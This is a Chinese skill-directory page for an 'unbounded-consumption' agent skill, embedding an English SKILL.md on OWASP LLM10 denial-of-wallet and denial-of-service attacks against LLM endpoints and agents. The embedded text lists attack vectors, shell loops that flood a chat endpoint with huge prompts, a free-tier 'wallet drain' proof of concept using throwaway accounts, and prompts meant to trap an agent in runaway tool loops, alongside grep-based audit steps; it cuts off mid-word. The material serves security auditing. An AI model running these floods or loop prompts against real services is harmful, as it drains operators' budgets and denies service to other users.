unbounded-consumption
它能做什么
这项技能说明 AI 产品如何因超大提示词、无休止的工具循环或缺少预算控制而被耗尽资源。适合运行 AI 服务、并希望设置安全限制的团队。
适用场景
- ✓当团队要求智能体检查其 AI 接口是否按用户限制提示词大小和令牌用量时。
- ✓当智能体审查可能在没有步数或成本上限的情况下重复调用工具的智能体循环时。
- ✓当报告需要说明不受限制的 AI 使用如何造成巨额账单或服务中断时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我们的 AI 接口和智能体循环是否限制了每位用户的提示词大小、步骤数和成本?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体在代码中查找大小限制、步数上限、重试次数上限和预算检查,并列出没有任何限制的路径。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
LLM Unbounded Consumption (LLM10:2025)
LLM inference is metered in dollars-per-token at the provider, and those tokens stack quickly: a context window full of attacker content costs more than the rest of the request stack combined. Unbounded consumption produces three impacts in escalating severity: provider rate-limit / hard-block (DoS), bill blowout (denial-of- wallet), and ultimately tool / sandbox resource exhaustion (DoS of the customer's compute).
1. Recognition signals
- The product exposes an authenticated or unauthenticated LLM endpoint that accepts large prompts.
- Per-user / per-tenant token budget is undocumented or absent.
- Free-tier signup grants immediate access to the most expensive model.
- Agentic system has no max-step / max-token / max-cost cap.
- Tools loop on model output without iteration cap (
while not done:). - File-upload feature dumps full document into the context.
- Background workers retry failed model calls on exponential backoff without a hard ceiling.
- Cost dashboard updates daily, not in real time.
2. Attack vectors
Direct prompt expansion (input DoS)
Submit a maximum-context-window prompt repeatedly:
seq 1 1000 | xargs -I{} curl -s -X POST "$TARGET/chat" \
-H "Authorization: Bearer $FREE_TIER_TOKEN" \
-d "{\"prompt\":\"$(python -c 'print("repeat this " * 30000)')\"}" \
>/dev/null &
Cost-tier escalation
Bypass the model picker to force the most expensive model (opus / o1 / claude-3.7) on every request. Often the picker is a client-side selector that the backend trusts.
Runaway agentic loop
Submit a task that the agent cannot complete: "Read every file in
/ recursively and summarise each in 5 paragraphs." Each tool
result feeds the next prompt; tokens grow per loop. With no max-step
cap the run lasts until provider rate-limits or budget alarms fire.
Fan-out via tool calls
Trigger an LLM that itself spawns N tool calls per turn, each of which invokes a sub-LLM. Geometric blow-up.
Self-prompting / recursion
"For each of the following 100 topics, write a 5-page detailed analysis." Each topic becomes a sub-call.
Wallet-only DoS via duplicate accounts
Free-tier signup with a temp-email service; 100 accounts; each runs maximum-cost requests on a paid backend.
Long-context starvation of other users
Submit a single max-context request that holds a shared backend worker; concurrent users observe latency spikes / 5xx.
3. Audit workflow
# Find LLM endpoints + their auth requirements
grep -rE '/chat|/complete|/generate|/agent|/llm' /workspace/src
# Find token / cost cap logic (or its absence)
grep -rE 'max_tokens|max_steps|cost_budget|rate_limit|throttle|token_budget' /workspace/src
# Find model-selection bypass surface (client-controlled model id)
grep -rE 'model\s*=\s*request|model_from_body|user_choice_model' /workspace/src
# Find agentic loop terminators
grep -rE 'while.*tool|for.*step|max_iterations|recursion_limit' /workspace/src
For each endpoint ask:
- What is the per-user max tokens per minute / per day?
- Is the model id chosen by the user trusted server-side?
- Is there a circuit-breaker on the provider 429 path?
- What is the maximum total cost of a single agentic run?
4. Exploitation goals
| Goal | Impact | Indicator |
|---|---|---|
| Per-user DoS via large prompt | Low | One user 429s themselves |
| Wallet drain on free tier | High | Measurable per-account spend > tier price |
| Single-prompt budget blowout | High | One request exceeds expected per-day cost |
| Cross-tenant DoS via shared backend | Critical | Other tenants 5xx during attacker's request |
| Sustained billing attack | Critical | Multi-day spend curve elevated by attacker |
5. PoC payloads
Wallet drain probe (free tier)
# Provision a fresh free-tier account
TOK=$(curl -X POST $TARGET/signup -d '{"email":"test+'$(uuidgen)'@example"}' | jq -r .token)
# Sustained max-cost requests
for i in $(seq 1 50); do
curl -s -X POST "$TARGET/chat" -H "Authorization: Bearer $TOK" \
-d '{"model":"gpt-5-pro","prompt":"'$(python -c 'print("token "*40000)')'"}' \
>/dev/null &
done
wait
# Measure spend via vendor dashboard or attacker-side response timing
Runaway agentic loop
For each line in /etc/services, look up the protocol's RFC, fetch the
RFC, and write a 3-paragraph summary. Save each summary to a file in
/tmp. Continue until all services are processed.
Watch t
常见问题
什么是无限制消耗?
就是 AI 服务可以在没有任何限制的情况下被使用,从而造成高昂成本,或拖慢所有人的服务速度。
免费账户在这里为什么重要?
该技能指出,免费注册后可无上限地调用昂贵模型,会让滥用更容易发生。
该技能建议哪些限制?
它提到提示词大小限制、智能体最大步数、重试次数上限以及每位用户的预算。
详情
作者的原始描述
Hunt LLM unbounded consumption (OWASP LLM10:2025) — denial-of-wallet and denial-of-service against LLM endpoints via unrestricted prompt size, runaway tool loops, expensive model selection, and unauthenticated fan-out.
热度
- GitHub 星标
- 6.5k
- 排名
- #13980
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …